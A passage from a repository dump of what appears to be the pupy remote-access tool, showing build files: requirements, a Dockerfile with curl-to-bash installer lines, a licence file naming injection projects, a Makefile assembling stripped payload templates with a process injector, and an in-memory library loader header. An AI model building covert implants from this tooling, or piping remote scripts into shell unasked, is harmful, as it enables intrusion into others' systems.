default=True)\n#register_target(\"msi_installer\", make_msi, depends=[\"exe\"])\n\n# Resolve whatever targets the invoker of this configuration file is requesting\n# be resolved.\nresolve_targets()\n"
  },
  {
    "path": "client/pyoxidizer-build/requirements.txt",
    "content": "netaddr\npyaes\ntinyec @ https://github.com/alxchk/tinyec/archive/master.zip\nrsa\n"
  },
  {
    "path": "client/requirements.txt",
    "content": "pyaes\npsutil==5.9.2\nrsa==4.0\nnetaddr==0.7.19\ntinyec\nposter\nwin_inet_pton\ndnslib\ndukpy\nzeroconf==0.19.1\nhttps://github.com/alxchk/urllib-auth/archive/master.zip\nushlex; python_version<'3'\n"
  },
  {
    "path": "client/sources-linux-py3/.gitignore",
    "content": "import-tab.c\nimport-tab.h\nresources_bootloader_pyc.c\nresources_library_compressed_string_txt.c\nresources_python3x_so.c\nresources_libcrypto_so.c\nresources_libssl_so.c\nresources_zlib_so.c\nresources/*\n*.pyc\n*.o\nbuild/*\n"
  },
  {
    "path": "client/sources-linux-py3/Dockerfile.linux-builder",
    "content": "FROM debian:buster\nRUN apt-get update -y\nRUN apt-get upgrade -y\nRUN apt-get install -y curl git make build-essential libssl-dev zlib1g-dev \\\nlibbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \\\nlibncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl libcap-dev libnacl-dev unixodbc libacl1-dev libasound2-dev portaudio19-dev zip\nRUN curl https://pyenv.run | bash\n\nENV HOME=\"/root\"\nENV PYENV_ROOT=\"$HOME/.pyenv\"\nENV PATH=\"$PYENV_ROOT/bin:$PATH\"\nRUN echo '#!/bin/bash' >> /init.sh \\\n    && echo 'eval \"$(pyenv init -)\"' >> /init.sh \\\n    && echo 'eval \"$(pyenv virtualenv-init -)\"' >> /init.sh\nCOPY docker /tmp/docker\nRUN pyenv install 3.10.6 --patch < /tmp/docker/pyenv-setup-build.patch\nRUN pyenv global 3.10.6 \\\n    && pyenv virtualenv 3.10.6 pupy\n\nRUN curl https://sh.rustup.rs -sSf | sh -s -- -y\n# Add .cargo/bin to PATH\nENV PATH=\"/root/.cargo/bin:${PATH}\"\nRUN echo 'pyenv activate pupy' >> /init.sh\n\nRUN chmod +x /init.sh\nRUN bash -c \"source /init.sh;\"\nRUN echo '$@' >> /init.sh\n\nENV TOOLCHAIN_ARCH=\"amd64\"\n\nWORKDIR /build/workspace/project/\n\nENTRYPOINT [\"bash\", \"/init.sh\"]\nCMD [\"client/sources-linux-py3/build-docker.sh\"]\n\n"
  },
  {
    "path": "client/sources-linux-py3/LICENSES.txt",
    "content": "The DLL, SO and executable payloads for pupy contains source code from differents projects with differents licenses.\nAll the files not from one of these projects is under pupy's license (BSD 3-Clause license) except linux-inject (GPLv2).\nMaybe I'll just reuse my code from (https://bitbucket.org/alxchk/ptrace-utils/src) but I'm too lasy for that stuff. \nAnyway. Who cares?\n\nThese projects include :\n\n----------------------------------------------------------------------------------\n-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)\n\tCopyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff\n\n\tPermission is hereby granted, free of charge, to any person obtaining\n\ta copy of this software and associated documentation files (the\n\t\"Software\"), to deal in the Software without restriction, including\n\twithout limitation the rights to use, copy, modify, merge, publish,\n\tdistribute, sublicense, and/or sell copies of the Software, and to\n\tpermit persons to whom the Software is furnished to do so, subject to\n\tthe following conditions:\n\n\tThe above copyright notice and this permission notice shall be\n\tincluded in all copies or substantial portions of the Software.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\tMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n\tLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n\tOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n\tWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n----------------------------------------------------------------------------------\n\n-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection\n\tCopyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without modification, are permitted \n\tprovided that the following conditions are met:\n\n\t* Redistributions of source code must retain the above copyright notice, this list of \n\tconditions and the following disclaimer.\n\n\t* Redistributions in binary form must reproduce the above copyright notice, this list of \n\tconditions and the following disclaimer in the documentation and/or other materials provided \n\twith the distribution.\n\n\t* Neither the name of Harmony Security nor the names of its contributors may be used to\n\tendorse or promote products derived from this software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n\tIMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n\tFITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n\tCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n\tSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n\tTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n\tOTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n\tPOSSIBILITY OF SUCH DAMAGE.\n\n----------------------------------------------------------------------------------\n\n-meterpreter (3-clause BSD license)\n\tMeterpreter is available for use under the following license, commonly known as the\n\t3-clause (or \"modified\") BSD license:\n\n\t=========================================================================================\n\n\tMeterpreter\n\t-----------\n\n\tCopyright (c) 2006-2013, Rapid7 Inc\n\n\tRedistribution and use in source and binary forms, with or without modification, are\n\tpermitted provided that the following conditions are met:\n\n\t* Redistributions of source code must retain the above copyright notice, this list of\n\tconditions and the following disclaimer.\n\n\t* Redistributions in binary form must reproduce the above copyright notice, this list of\n\tconditions and the following disclaimer in the documentation and/or other materials\n\tprovided with the distribution.\n\n\t* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or\n\tpromote products derived from this software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n\tEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n\tMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n\tTHE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\tSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n\tOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n\tHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n\tTORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\tSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n----------------------------------------------------------------------------------\n\n-linux-inject (GPLv2)\n\n                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                             ..."
  },
  {
    "path": "client/sources-linux-py3/Makefile",
    "content": "CC ?= gcc\nPYMAJ ?= 3\nPYMIN ?= 10\n\nOS ?= $(shell uname -s)\nMACH ?= $(shell uname -m)\nSUFFIX ?= $(PYMAJ)$(PYMIN).$(shell echo $(OS) | cut -c -3 | tr '[:upper:]' '[:lower:]')\n\nSTATIC_LIBZ := -Wl,-Bstatic -lz -Wl,-Bdynamic\n# STATIC_LIBZ := -lz\n\nCFLAGS := $(shell pkg-config --cflags python-$(PYMAJ).$(PYMIN)) -I. -I../common -fPIC $(CFLAGS_EXTRA) -pipe -Wall\nLDFLAGS := $(LDFLAGS) $(STATIC_LIBZ) -lpthread -ldl -fPIC $(LDFLAGS_EXTRA)\nPFLAGS := -OO\nPIE ?= -pie\n\nCFLAGS += -D$(OS) -std=gnu99\nCFLAGS += -DPYMAJ=$(PYMAJ) -DPYMIN=$(PYMIN)\nCFLAGS += -DPYTHON_LIB_NAME=\"python$(PYMAJ)$(PYMIN).so\"\n\nifeq ($(OPENSSL_LIB_VERSION),)\nOPENSSL_LIB_VERSION := 1.0.0\nendif\n\nCFLAGS += \"-DOPENSSL_LIB_VERSION=\\\"$(OPENSSL_LIB_VERSION)\\\"\"\n\nifeq ($(LIBPYTHON),)\nLIBPYTHON := $(shell /sbin/ldconfig -p  | awk '/libpython$(PYMAJ).$(PYMIN).so/{print $$4}' | head -n 1)\nendif\n\nifeq ($(LIBPYTHON_INC),)\n#LIBPYTHON_INC := -I/root/.pyenv/versions/3.10.6/include/python3.10/\nendif\n\nifeq ($(LIBCRYPTO),)\nLIBCRYPTO := $(shell /sbin/ldconfig -p  | awk '/libcrypto.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)\nendif\n\nifeq ($(LIBSSL),)\nLIBSSL := $(shell /sbin/ldconfig -p  | awk '/libssl.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)\nendif\n\n\nifeq ($(LIBFFI),)\nLIBFFI := $(shell /sbin/ldconfig -p  | awk '/libffi.so.6/{print $$4}' | head -n1)\nendif\n\nXZARGS ?= \"gcc\" \"aligned(0x1000)\" 'section(\".xzrodata\")'\n\n# Compatibility for old well-known platforms\nifneq ($(filter $(MACH), x86_64 i386 i486 i586 i686),)\nMACHNAME :=\n\nifeq ($(ARCH),)\nARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64)\nendif\n\nifeq ($(ARCH),64)\nNAME := 64\nLDFLAGS += -m64\nifeq ($(DEBUG),)\nCFLAGS += -fvisibility=hidden\nendif\nelse\nNAME := 86\nCFLAGS += -D_FILE_OFFSET_BITS=64\nendif\n\nNAME := x$(NAME)\n\nelse\nNAME ?= $(MACH)\nFEATURE_INJECTOR :=\nendif\n\nCFLAGS += -Iresources/$(MACH) -Iresources\n\nLINUX_INJECT_CFLAGS := -include fixes.h -Iinjector/src/linux\n\nifneq ($(DEBUG),)\nDEBUG_ADD := -debug\nCFLAGS += -DDEBUG -O0 -g\nLDFLAGS += -g\nNAME := $(NAME)d\nDEBUG_OBJS := debug.o\n$(info BUILD debug with name $(NAME))\nelse\nDEBUG_OBJS :=\nCFLAGS += -Os\nifeq ($(OS),Linux)\nLDFLAGS += -O1 -Wl,-s -Wl,-x -Wl,--gc-sections -Wl,--no-undefined\nLDFLAGS += -Wl,-z,now -Wl,-z,combreloc -Wl,--enable-new-dtags\nelse\nLDFLAGS += -s\nendif\n$(info BUILD non-debug with name $(NAME))\nendif\n\nifneq ($(DEBUG_USE_OS_PYTHON),)\nCFLAGS += -DDEBUG_USE_OS_PYTHON\nendif\n\nPYTHON ?= python3\nTEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/\n\nSHARED_OBJS := main_so.o tmplibrary_lmid.o pupy_load.o\nSHARED_CFLAGS := -D_PUPY_SO\nAPP_OBJS := main_exe.o tmplibrary.o pupy_load.o\nCOMMON_OBJS := daemonize.o decompress.o\nLOAD_DEPS := \\\n\tresources/$(MACH)/libssl.c \\\n\tresources/$(MACH)/libcrypto.c \\\n\tresources/$(MACH)/libffi.c \\\n\tresources/$(MACH)/python3x.c \\\n\tresources/$(MACH)/library.c \\\n\timport-tab.h revision.h\n\n\nifneq ($(FEATURE_PATHMAP),)\nAPP_OBJS += ld_hooks.o\nSHARED_CFLAGS += -D_LD_HOOKS_NAME=\\\"ld_hooks_$(NAME).so\\\"\nLOAD_DEPS += ld_hooks_$(NAME).c\nLOAD_SHARED_CFLAGS := \\\n\t-D_LD_HOOKS_NAME=\\\"ld_hooks_$(NAME).so\\\" \\\n\t-D_LD_HOOKS_START=ld_hooks_$(NAME)_c_start \\\n\t-D_LD_HOOKS_SIZE=ld_hooks_$(NAME)_c_size \\\n\t-include \"ld_hooks_$(NAME).c\"\nCFLAGS += -D_FEATURE_PATHMAP\nendif\n\nifneq ($(DEBUG),)\nCOMMON_OBJS += $(DEBUG_OBJS)\nCEXTFLAGS := --debug\nendif\n\nifeq ($(UNCOMPRESSED),)\nCOMMON_OBJS += LzmaDec.o\nCOMPRESSED = 1\nelse\nCFLAGS += -DUNCOMPRESSED\nSUFFIX := unc-$(SUFFIX)\nCOMPRESSED = 0\nendif\n\nifneq ($(FEATURE_INJECTOR),)\nCOMMON_OBJS += injector/src/linux/elf.o\nCOMMON_OBJS += injector/src/linux/injector.o\nCOMMON_OBJS += injector/src/linux/ptrace.o\nCOMMON_OBJS += injector/src/linux/remote_call.o\nCOMMON_OBJS += injector/src/linux/util.o\nCOMMON_OBJS += fixes.o\n\nCFLAGS += -D_FEATURE_INJECTOR -Iinjector/include\nLDFLAGS += -Wl,-wrap,realpath\nendif\n\nPUPY_LOAD_DEPS := \\\n\tpupy_load.c \\\n\tresources/$(MACH)/library.c \\\n\tresources/$(MACH)/python3x.c \\\n\tresources/$(MACH)/libssl.c \\\n\tresources/$(MACH)/libcrypto.c \\\n\tresources/$(MACH)/libffi.c \\\n\timport-tab.c revision.h\n\nall: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so\n\nrevision.h:\n\tif [ x\"$$COMMIT\" = x\"\" ]; then rev=`cat ../../.git/\\`cat ../../.git/HEAD | cut -f 2 -d \\ \\` | cut -c 1-8`; \\\n\t\telse rev=$$COMMIT; fi; echo \"#define GIT_REVISION_HEAD \\\"$$rev\\\"\" >$@\n\ndebug.o: ../common/debug.c ../common/debug.h\n\t$(CC) -c -o $@ $< $(CFLAGS)\n\nresources/$(MACH)/_pupy.so: build_c_ext.py revision.h pupy.c daemonize.c tmplibrary.c decompress.c ld_hooks.c\n\t$(PYTHON) build_c_ext.py build $(CEXTFLAGS)\n\tcp -f $(shell echo build/lib.linux-*/_pupy.*) resources/$(MACH)/_pupy.so\n\n# pupy.o: revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h $(PUPY_LOAD_DEPS) resources/$(MACH)/python3x.c \n#\t$(CC) -c $(LIBPYTHON_INC) -o $@ $(CFLAGS) $(SHARED_CFLAGS) $<\n\nmain_so.o: main_so.c import-tab.h \n\t$(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS) \n\nmain_exe.o:\tmain_exe.c import-tab.h \n\t$(CC) $(CFLAGS) -c -o $@ $< \n\npupy_load.o: pupy_load.c $(LOAD_DEPS) resources/$(MACH)/_pupy.c import-tab.h Python-dynload-os.h\n\t$(CC) -c -o $@ $< $(CFLAGS)\n\ntmplibrary.o: tmplibrary.c\n\t$(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID\n\ntmplibrary_lmid.o: tmplibrary.c\n\t$(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID\n\nimport-tab.c import-tab.h: ../mktab.py\n\t$(PYTHON) $(PFLAGS) $< UCS4\n\nifeq ($(UNCOMPRESSED),)\nLzmaDec.o: ../common/LzmaDec.c\n\t$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<\nendif\n\nresources/$(MACH)/library.txt: ../gen_library_compressed_string.py resources/$(MACH)/library.zip\n\t$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py $@ resources/$(MACH)/library.zip\n\nresources/$(MACH)/library.c: ../gen_resource_header.py resources/$(MACH)/library.txt resources/$(MACH)/library.zip\n\t$(PYTHON) $(PFLAGS) ../gen_resource_header.py resources/$(MACH)/library.txt $@ $(COMPRESSED) $(XZARGS)\n\nld_hooks_$(NAME).so: ld_hooks.c $(DEBUG_OBJS)\n\t$(CC) $(CFLAGS) -shared $+ -o $@ $(LDFLAGS) \\\n\t\t-D_LD_HOOKS_NAME=\\\"$@\\\" \\\n\t\t-Wl,-soname,$@ \\\n\t\t-Wl,--no-undefined\n\nld_hooks_$(NAME).c: ../gen_resource_header.py ld_hooks_$(NAME).so\n\t$(PYTHON) $(PFLAGS) ../gen_resource_header.py ld_hooks_$(NAME).so $@ $(COMPRESSED) $(XZARGS)\n\ninjector/%.o: injector/%.c\n\t$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<\n\nresources/$(MACH)/python$(PYMAJ)$(PYMIN).so: $(LIBPYTHON)\n\t@mkdir -p resources/$(MACH)\n\tcp -f $< $@.tmp\n\t-chmod 600 $@.tmp\n\t-strip $@.tmp\n\tsed $@.tmp -e 's@/tmp@\\x00tmp@g;s@/usr@\\x00usr@g' >$@ || ( rm -f $@; cp $@.tmp $@ )\n\trm -f $@.tmp\n\nresources/$(MACH)/libcrypto.so: $(LIBCRYPTO)\n\t@mkdir -p resources/$(MACH)\n\tcp -f $< $@.tmp\n\t-chmod 600 $@.tmp\n\t-strip $@.tmp\n\tmv $@.tmp $@\n\trm -f $@.tmp\n\nresources/$(MACH)/libssl.so: $(LIBSSL)\n\t@mkdir -p resources/$(MACH)\n\tcp -f $< $@.tmp\n\t-chmod 600 $@.tmp\n\t-strip $@.tmp\n\tmv $@.tmp $@\n\trm -f $@.tmp\n\nresources/$(MACH)/libffi.so: $(LIBFFI)\n\t@mkdir -p resources/$(MACH)\n\tcp -f $< $@.tmp\n\t-chmod 600 $@.tmp\n\t-strip $@.tmp\n\tmv $@.tmp $@\n\trm -f $@.tmp\n\nresources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py\n\t$(PYTHON) -OO $(PFLAGS) $< $@\n\nresources/$(MACH)/_pupy.c: ../gen_resource_header.py resources/$(MACH)/_pupy.so\n\t$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)\n\nresources/$(MACH)/python3x.c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so\n\t$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)\n\nresources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so\n\t$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)\n\nresources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so\n\t$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)\n\nresources/$(MACH)/libffi.c: ../gen_resource_header.py resources/$(MACH)/libffi.so\n\t$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)\n\n$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)\n\t$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \\\n\t\t-Wl,--version-script=pupy.ldscript \\\n\t\t-Wl,--export-dynamic\n\n$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)\n\t$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME)-$(SUFFIX).so \\\n\t\t-Wl,--version-script=pupy.so.ldscript\n\n$(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so: resources/$(MACH)/_pupy.so\n\tcp resources/$(MACH)/_pupy.so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so\n\n.PHONY: clean all\n\nclean:\n\trm -f $(COMMON_OBJS) $(PYOBJS)\n\trm -f pupy pupy.so\n\trm -f *.o\n\trm -f resources/$(MACH)/_pupy.so\n\trm -f resources/$(MACH)/_pupy.c\n\trm -rf build\n\ndistclean: clean\n\trm -f resources/*.c\n\trm -f resources/$(MACH)/*.c\n\trm -f resources/$(MACH)/_pupy.so\n\trm -f ld_hooks_$(NAME).c\n\trm -f ld_hooks_$(NAME).so\n\trm -f import-tab.c\n\trm -f import-tab.h\n\trm -f revision.h\n\trm -rf resources\n\trm -rf build\n\n$(COMMON_OBJS) $(PYOBJS): import-tab.h\n"
  },
  {
    "path": "client/sources-linux-py3/Python-dynload-os.h",
    "content": "#ifndef PYTHON_DYNLOAD_OS_H\n#define PYTHON_DYNLOAD_OS_H\n\n#define _GNU_SOURCE\n#include <stdlib.h>\n#include <dlfcn.h>\n#include <sys/types.h>\n#include <sys/mman.h>\n#include <unistd.h>\n\n#ifndef PYTHON_LIB_NAME\n#define PYTHON_LIB_NAME \"python310.so\"\n#endif\n\n#include \"Python-dynload.h\"\n\n#define FREE_HMODULE_AFTER_LOAD 1\n#define FILE_SYSTEM_ENCODING \"utf-8\"\n\ntypedef void *HMODULE;\ntypedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name);\n\n#ifndef OPENSSL_LIB_VERSION\n#define OPENSSL_LIB_VERSION \"1.1\"\n#endif\n\ntypedef struct PyPreConfig {\n    int _config_init; \n    int parse_argv;\n    int isolated;\n    int use_environment;\n    int configure_locale;\n    int coerce_c_locale;\n    int coerce_c_locale_warn;\n    int legacy_windows_fs_encoding;\n    int utf8_mode;\n    int dev_mode;\n    int allocator;\n} PyPreConfig;\n\ntypedef struct {\n    enum {\n        _PyStatus_TYPE_OK=0,\n        _PyStatus_TYPE_ERROR=1,\n        _PyStatus_TYPE_EXIT=2\n    } _type;\n    const char *func;\n    const char *err_msg;\n    int exitcode;\n} PyStatus;\n\ntypedef struct {\n    /* If length is greater than zero, items must be non-NULL\n       and all items strings must be non-NULL */\n    Py_ssize_t length;\n    wchar_t **items;\n} PyWideStringList;\n\ntypedef struct PyConfig {\n    int _config_init;     /* _PyConfigInitEnum value */\n\n    int isolated;\n    int use_environment;\n    int dev_mode;\n    int install_signal_handlers;\n    int use_hash_seed;\n    unsigned long hash_seed;\n    int faulthandler;\n    int tracemalloc;\n    int perf_profiling;\n    int import_time;\n    int code_debug_ranges;\n    int show_ref_count;\n    int dump_refs;\n    wchar_t *dump_refs_file;\n    int malloc_stats;\n    wchar_t *filesystem_encoding;\n    wchar_t *filesystem_errors;\n    wchar_t *pycache_prefix;\n    int parse_argv;\n    PyWideStringList orig_argv;\n    PyWideStringList argv;\n    PyWideStringList xoptions;\n    PyWideStringList warnoptions;\n    int site_import;\n    int bytes_warning;\n    int warn_default_encoding;\n    int inspect;\n    int interactive;\n    int optimization_level;\n    int parser_debug;\n    int write_bytecode;\n    int verbose;\n    int quiet;\n    int user_site_directory;\n    int configure_c_stdio;\n    int buffered_stdio;\n    wchar_t *stdio_encoding;\n    wchar_t *stdio_errors;\n#ifdef _WIN32\n    int legacy_windows_stdio;\n#endif\n    wchar_t *check_hash_pycs_mode;\n    int use_frozen_modules;\n    int safe_path;\n    int int_max_str_digits;\n\n    /* --- Path configuration inputs ------------ */\n    int pathconfig_warnings;\n    wchar_t *program_name;\n    wchar_t *pythonpath_env;\n    wchar_t *home;\n    wchar_t *platlibdir;\n\n    /* --- Path configuration outputs ----------- */\n    int module_search_paths_set;\n    PyWideStringList module_search_paths;\n    wchar_t *stdlib_dir;\n    wchar_t *executable;\n    wchar_t *base_executable;\n    wchar_t *prefix;\n    wchar_t *base_prefix;\n    wchar_t *exec_prefix;\n    wchar_t *base_exec_prefix;\n\n    /* --- Parameter only used by Py_Main() ---------- */\n    int skip_source_first_line;\n    wchar_t *run_command;\n    wchar_t *run_module;\n    wchar_t *run_filename;\n\n    /* --- Private fields ---------------------------- */\n\n    // Install importlib? If equals to 0, importlib is not initialized at all.\n    // Needed by freeze_importlib.\n    int _install_importlib;\n\n    // If equal to 0, stop Python initialization before the \"main\" phase.\n    int _init_main;\n\n    // If non-zero, disallow threads, subprocesses, and fork.\n    // Default: 0.\n    int _isolated_interpreter;\n\n    // If non-zero, we believe we're running from a source tree.\n    int _is_python_build;\n} PyConfig;\n\n\n#define DEPENDENCIES                          \\\n{                                             \\\n    {                                         \\\n        \"libcrypto.so.\" OPENSSL_LIB_VERSION,  \\\n        libcrypto_c_start,                    \\\n        libcrypto_c_size,                     \\\n        FALSE                                 \\\n    }, {                                      \\\n        \"libssl.so.\" OPENSSL_LIB_VERSION,     \\\n        libssl_c_start,                       \\\n        libssl_c_size,                        \\\n        FALSE                                 \\\n    }, {                                      \\\n        \"libffi.so.6\",                        \\\n        libffi_c_start,                       \\\n        libffi_c_size,                        \\\n        FALSE                                 \\\n    }, {                                      \\\n        \"python310.so\",                       \\\n        python3x_c_start,                     \\\n        python3x_c_size,                      \\\n        TRUE                                  \\\n    }                                         \\\n}\n\n#define OSAlloc(size) malloc(size)\n#define OSFree(ptr) free(ptr)\n\n#define OSLoadLibrary(name) dlopen(name, RTLD_NOW)\n#define OSResolveSymbol dlsym\n#define OSUnmapRegion munmap\n#define MemLoadLibrary(name, bytes, size, arg) \\\n    memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL)\n#define MemResolveSymbol dlsym\n#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)\n\n#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS\nstatic const char *OSGetProgramName()\n{\n    static BOOL is_set = FALSE;\n    static char exe[PATH_MAX] = {'\\0'};\n\n    if (is_set)\n        return exe;\n\n#if defined(Linux)\n    dprint(\"INVOCATION NAME: %s\\n\", program_invocation_name);\n\n    if (readlink(\"/proc/self/exe\", exe, sizeof(exe)) > 0)\n    {\n        if (strstr(exe, \"/memfd:\"))\n        {\n            snprintf(exe, sizeof(exe), \"/proc/%d/exe\", getpid());\n        }\n    }\n    else\n    {\n        char *upx_env = getenv(\"   \");\n        if (upx_env)\n        {\n            snprintf(exe, sizeof(exe), \"%s\", upx_env);\n        }\n    }\n\n#elif defined(SunOS)\n    strcpy(exe, getexecname());\n#endif\n\n    is_set = TRUE;\n    return exe;\n}\n\n#include \"python3x.c\"\n#include \"libcrypto.c\"\n#include \"libssl.c\"\n#include \"libffi.c\"\n#include \"tmplibrary.h\"\n#endif\n\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/Python.SunOS10.Setup.dist",
    "content": "# -*- makefile -*-\n# the file Setup is used by the makesetup script to construct the files\n# Makefile and config.c, from Makefile.pre and config.c.in,\n# respectively.  The file Setup itself is initially copied from\n# Setup.dist; once it exists it will not be overwritten, so you can edit\n# Setup to your heart's content.  Note that Makefile.pre is created\n# from Makefile.pre.in by the toplevel configure script.\n\n# (VPATH notes: Setup and Makefile.pre are in the build directory, as\n# are Makefile and config.c; the *.in and *.dist files are in the source\n# directory.)\n\n# Each line in this file describes one or more optional modules.\n# Modules enabled here will not be compiled by the setup.py script,\n# so the file can be used to override setup.py's behavior.\n\n# Lines have the following structure:\n#\n# <module> ... [<sourcefile> ...] [<cpparg> ...] [<library> ...]\n#\n# <sourcefile> is anything ending in .c (.C, .cc, .c++ are C++ files)\n# <cpparg> is anything starting with -I, -D, -U or -C\n# <library> is anything ending in .a or beginning with -l or -L\n# <module> is anything else but should be a valid Python\n# identifier (letters, digits, underscores, beginning with non-digit)\n#\n# (As the makesetup script changes, it may recognize some other\n# arguments as well, e.g. *.so and *.sl as libraries.  See the big\n# case statement in the makesetup script.)\n#\n# Lines can also have the form\n#\n# <name> = <value>\n#\n# which defines a Make variable definition inserted into Makefile.in\n#\n# Finally, if a line contains just the word \"*shared*\" (without the\n# quotes but with the stars), then the following modules will not be\n# built statically.  The build process works like this:\n#\n# 1. Build all modules that are declared as static in Modules/Setup,\n#    combine them into libpythonxy.a, combine that into python.\n# 2. Build all modules that are listed as shared in Modules/Setup.\n# 3. Invoke setup.py. That builds all modules that\n#    a) are not builtin, and\n#    b) are not listed in Modules/Setup, and\n#    c) can be build on the target\n#\n# Therefore, modules declared to be shared will not be\n# included in the config.c file, nor in the list of objects to be\n# added to the library archive, and their linker options won't be\n# added to the linker options. Rules to create their .o files and\n# their shared libraries will still be added to the Makefile, and\n# their names will be collected in the Make variable SHAREDMODS.  This\n# is used to build modules as shared libraries.  (They can be\n# installed using \"make sharedinstall\", which is implied by the\n# toplevel \"make install\" target.)  (For compatibility,\n# *noconfig* has the same effect as *shared*.)\n#\n# In addition, *static* explicitly declares the following modules to\n# be static.  Lines containing \"*static*\" and \"*shared*\" may thus\n# alternate throughout this file.\n\n# NOTE: As a standard policy, as many modules as can be supported by a\n# platform should be present.  The distribution comes with all modules\n# enabled that are supported by most platforms and don't require you\n# to ftp sources from elsewhere.\n\n\n# Some special rules to define PYTHONPATH.\n# Edit the definitions below to indicate which options you are using.\n# Don't add any whitespace or comments!\n\n# Directories where library files get installed.\n# DESTLIB is for Python modules; MACHDESTLIB for shared libraries.\nDESTLIB=$(LIBDEST)\nMACHDESTLIB=$(BINLIBDEST)\n\n# NOTE: all the paths are now relative to the prefix that is computed\n# at run 